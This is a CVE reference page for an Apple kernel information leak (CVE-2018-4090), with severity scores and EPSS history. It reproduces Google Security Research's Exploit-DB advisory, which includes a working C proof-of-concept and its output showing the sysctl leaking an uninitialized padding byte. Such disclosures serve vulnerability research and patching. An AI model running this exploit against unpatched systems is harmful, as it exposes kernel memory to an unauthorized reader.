CVE-2018-4090

Score / Severity

5.5

Medium

OWSAP

A01-Broken Access Control

EPSS

4.5%V4

Vector

Local

Published

2018-04-03
04h00 +00:00

Modified

2018-04-03
07h57 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "Kernel" component. It allows attackers to bypass intended memory-read restrictions via a crafted app.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-200	Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	5.5	MEDIUM	CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	4.3		AV:N/AC:M/Au:N/C:P/I:N/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	1.23%	–	–	–	–
2021-09-05	–	1.23%	–	–	–
2021-10-17	–	1.23%	–	–	–
2022-01-09	–	1.23%	–	–	–
2022-01-16	–	1.23%	–	–	–
2022-02-06	–	–	3.1%	–	–
2022-03-13	–	–	3.1%	–	–
2022-04-03	–	–	3.1%	–	–
2022-06-05	–	–	3.1%	–	–
2023-02-26	–	–	3.1%	–	–
2023-03-12	–	–	–	0.15%	–
2023-03-26	–	–	–	0.15%	–
2023-04-02	–	–	–	0.17%	–
2023-07-09	–	–	–	0.17%	–
2023-08-27	–	–	–	0.18%	–
2023-09-17	–	–	–	0.18%	–
2024-02-11	–	–	–	0.18%	–
2024-06-02	–	–	–	0.18%	–
2024-07-28	–	–	–	0.18%	–
2024-08-11	–	–	–	0.18%	–
2024-09-22	–	–	–	0.18%	–
2024-10-13	–	–	–	0.18%	–
2024-12-22	–	–	–	0.41%	–
2025-01-19	–	–	–	0.41%	–
2025-03-18	–	–	–	–	4.5%
2025-03-18	–	–	–	–	4.5,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2021-04-18	–
2021-09-05	67%
2021-10-17	68%
2022-01-09	29%
2022-01-16	3%
2022-02-06	65%
2022-03-13	66%
2022-04-03	82%
2022-06-05	83%
2023-02-26	84%
2023-03-12	49%
2023-03-26	5%
2023-04-02	53%
2023-07-09	54%
2023-08-27	54%
2023-09-17	55%
2024-02-11	54%
2024-06-02	55%
2024-07-28	55%
2024-08-11	56%
2024-09-22	55%
2024-10-13	56%
2024-12-22	74%
2025-01-19	74%
2025-03-18	88%
2025-03-18	88%

Exploit information

Exploit Database EDB-ID : 43923

Publication date : 2018-01-28 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* The sysctls vfs.generic.conf.* are handled by sysctl_vfs_generic_conf(), which is implemented as follows: static int sysctl_vfs_generic_conf SYSCTL_HANDLER_ARGS { int *name, namelen; struct vfstable *vfsp; struct vfsconf vfsc; (void)oidp; name = arg1; namelen = arg2; [check for namelen==1] mount_list_lock(); for (vfsp = vfsconf; vfsp; vfsp = vfsp->vfc_next) if (vfsp->vfc_typenum == name[0]) break; if (vfsp == NULL) { mount_list_unlock(); return (ENOTSUP); } vfsc.vfc_reserved1 = 0; bcopy(vfsp->vfc_name, vfsc.vfc_name, sizeof(vfsc.vfc_name)); vfsc.vfc_typenum = vfsp->vfc_typenum; vfsc.vfc_refcount = vfsp->vfc_refcount; vfsc.vfc_flags = vfsp->vfc_flags; vfsc.vfc_reserved2 = 0; vfsc.vfc_reserved3 = 0; mount_list_unlock(); return (SYSCTL_OUT(req, &vfsc, sizeof(struct vfsconf))); } `struct vfsconf` is defined as follows: struct vfsconf { uint32_t vfc_reserved1; /* opaque char vfc_name[MFSNAMELEN]; /* filesystem type name int vfc_typenum; /* historic filesystem type number int vfc_refcount; /* number mounted of this type int vfc_flags; /* permanent flags uint32_t vfc_reserved2; /* opaque uint32_t vfc_reserved3; /* opaque }; `MFSNAMELEN` is defined as follows: #define MFSNAMELEN 15 /* length of fs type name, not inc. null #define MFSTYPENAMELEN 16 /* length of fs type name including null This means that one byte of uninitialized padding exists between `vfc_name` and `vfc_typenum`. This issue was discovered using an AFL-based fuzzer, loosely based on TriforceAFL. This is the diff of two runs over the fuzzer queue with different stack poison values (0xcc and 0xdd): --- traces_cc_/id:018803,src:012522,op:havoc,rep:2,+cov 2017-11-06 13:08:41.486752415 +0100 +++ traces_dd_/id:018803,src:012522,op:havoc,rep:2,+cov 2017-11-06 13:08:56.583413293 +0100 @@ -1,19 +1,19 @@ loaded 72 bytes fuzzdata USER READ: addr 0xffffffffffffffff, size 8, value 0x00000600020000ca USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000003 USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000004 USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000060000 USER READ: addr 0xffffffffffffffff, size 8, value 0x00ea800500000010 USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000010003 USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000000 syscall(rax=0x600020000ca, args=[0x3, 0x4, 0x60000, 0xea800500000010, 0x10003, 0x0]); rsp=0x7ffee418eda8 USER READ: addr 0x3, size 8, value 0x0000000000000003 USER READ: addr 0xb, size 8, value 0x0000001700000002 USER WRITE: addr 0x60000, size 8, value 0x0073666800000000 USER WRITE: addr 0x60008, size 8, value 0x0000000000000000 -USER WRITE: addr 0x60010, size 8, value 0x00000017cc000000 +USER WRITE: addr 0x60010, size 8, value 0x00000017dd000000 USER WRITE: addr 0x60018, size 8, value 0x0000100000000001 USER WRITE: addr 0x60020, size 8, value 0x0000000000000000 sysret OUT OF FUZZER INPUT DATA - REWINDING REWIND! (trigger_exception=0x10006; cycles=7) Verified on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0: $ cat sysctl_conf_test.c */ #include <stdlib.h> #include <err.h> #include <stdio.h> #include <sys/types.h> #include <sys/sysctl.h> #include <sys/mount.h> struct vfsconf_withpad { int reserved1; char name[15]; unsigned char pad1; int typenum; int refcount; int flags; int reserved2; int reserved3; }; int main(void) { int name[] = { CTL_VFS, VFS_GENERIC, VFS_CONF, 0x17 }; static struct vfsconf_withpad conf; size_t outlen = sizeof(conf); if (sysctl(name, sizeof(name)/sizeof(name[0]), &conf, &outlen, NULL, 0)) err(1, "sysctl"); if (outlen != sizeof(conf)) errx(1, "outlen != sizeof(conf)"); printf("name=%.15s pad1=0x%02hhx typenum=%d refcount=%d flags=%d\n", conf.name, conf.pad1, conf.typenum, conf.refcount, conf.flags); } /* $ gcc -o sysctl_conf_test sysctl_conf_test.c -Wall $ ./sysctl_conf_test name=hfs pad1=0x24 typenum=23 refcount=2 flags=4096 $ ./sysctl_conf_test name=hfs pad1=0x26 typenum=23 refcount=2 flags=4096 $ ./sysctl_conf_test name=hfs pad1=0x24 typenum=23 refcount=2 flags=4096 $ ./sysctl_conf_test name=hfs pad1=0x23 typenum=23 refcount=2 flags=4096 $ ./sysctl_conf_test name=hfs pad1=0x23 typenum=23 refcount=2 flags=4096 $ ./sysctl_conf_test name=hfs pad1=0x26 typenum=23 refcount=2 flags=4096 */